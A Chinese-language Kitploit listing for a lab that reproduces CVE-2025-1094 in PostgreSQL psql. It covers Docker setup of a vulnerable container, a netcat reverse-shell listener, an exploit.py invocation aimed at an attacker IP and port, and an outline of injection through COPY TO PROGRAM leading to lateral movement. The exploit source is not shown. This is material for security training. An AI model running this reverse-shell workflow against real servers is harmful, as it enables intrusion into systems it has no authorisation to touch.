Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-1094-Lab-Setup — 动手实验,利用 CVE-2025-1094 漏洞——PostgreSQL psql 中的 SQL 注入,通过 COPY TO PROGRAM 实现远程代码执行(RCE),包含 Docker 环境搭建与反弹 Shell 载荷。 | Kitploit
工具/GitHubGitHub/pinkarmor/cve-2025-1094-lab-setup
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubpinkarmor/cve-2025-1094-lab-setup

CVE-2025-1094-Lab-Setup

动手实验,利用 CVE-2025-1094 漏洞——PostgreSQL psql 中的 SQL 注入,通过 COPY TO PROGRAM 实现远程代码执行(RCE),包含 Docker 环境搭建与反弹 Shell 载荷。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
311个月前尚未审核
分享

🛠️ CVE-2025-1094 实验环境搭建

⚠️ 免责声明
本实验仅用于教育和研究目的。
请勿将此处演示的任何信息或技术用于您不拥有或未经明确授权测试的系统。未经授权使用这些方法可能违反法律并导致严重处罚。


📌 概述

CVE-2025-1094 是一个影响 PostgreSQL 交互式工具 psql 的严重漏洞,在 14.15 及更早版本中被发现。
攻击者可以利用该漏洞执行 SQL 注入,在特定条件下可导致远程代码执行(RCE)。


🧨 根本原因

该漏洞源于 psql 对畸形 UTF-8 输入处理不当。
由于验证不足,攻击者可以注入任意 SQL 或元命令(如 !(shell 转义)),甚至利用 COPY ... TO PROGRAM 执行系统命令。


🔥 影响与攻击场景

  • SQL 注入 → RCE:畸形 UTF-8 字符串绕过验证,导致任意查询执行。
  • 滥用 COPY TO PROGRAM:攻击者可以执行任意 shell 命令,例如:
    • 反弹 Shell
    • 读取敏感文件(/etc/passwd)
    • 与其他 CVE 组合实现完全未认证 RCE
  • 集成风险:使用 psql 处理不可信输入的软件(如 BeyondTrust PRA、Remote Support)尤其容易受到影响。

🧪 实验环境要求

🐳 受害者(Ubuntu)

安装 Docker:

root@kitploit:~
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER

👉 重启或注销并重新登录以应用 Docker 组权限。


🐍 攻击者(Kali)

安装 Python 及依赖:

root@kitploit:~
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional

✅ 确保攻击者与受害者机器之间网络连通。


⚙️ 步骤 1 – 部署易受攻击的 PostgreSQL 容器(受害者)

  1. 拉取 PostgreSQL 14.15 镜像:
root@kitploit:~
docker pull postgres:14.15
  1. 运行容器:
root@kitploit:~
docker run --name vulnerable_postgres   -e POSTGRES_USER=postgres123   -e POSTGRES_PASSWORD=StrongP@ssWord   -e POSTGRES_DB=labdb   -p 5432:5432   -d postgres:14.15
  1. 等待约 5 秒完成初始化,然后创建演示表:
root@kitploit:~
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  username TEXT,
  password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

✅ 步骤 1.5 – 验证容器和数据库设置

启动容器后,使用以下命令验证一切是否正常:

1. 检查 PostgreSQL 容器是否正在运行:

root@kitploit:~
sudo docker ps

📌 您应该看到一个名为 vulnerable_postgres 的容器正在监听 5432 端口。


2. 进入容器并检查数据库:

root@kitploit:~
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb

在 psql shell 中运行:

root@kitploit:~
SELECT * FROM users;

预期输出:

root@kitploit:~
 id | username |  password
----+----------+-------------
  1 | admin    | password123
(1 row)

退出 psql:

root@kitploit:~
\q

✅ 现在您的易受攻击的 PostgreSQL 实例已运行并准备好进行利用。


3. 重新启动容器

root@kitploit:~
sudo docker start vulnerable_postgres

📡 步骤 2 – 从攻击者机器发起利用

  1. 在攻击者机器上启动监听器以捕获反弹 Shell:
root@kitploit:~
nc -lvnp 4444
  1. 运行利用脚本(如有需要请调整 IP 和端口):
root@kitploit:~
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
  1. 如果成功,您将从易受攻击的 PostgreSQL 容器收到一个反弹 Shell 🎉
root@kitploit:~
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.

🧰 示例利用流程

  1. 注入畸形 UTF-8 以绕过输入验证
  2. 利用 COPY ... TO PROGRAM 执行任意 shell 命令
  3. 反弹 Shell 连接回攻击者机器
  4. 在环境中提升权限或进行横向移动

💡 提示: 您可以为该易受攻击的容器创建快照,以便日后复用,无需重新搭建环境。

下载工具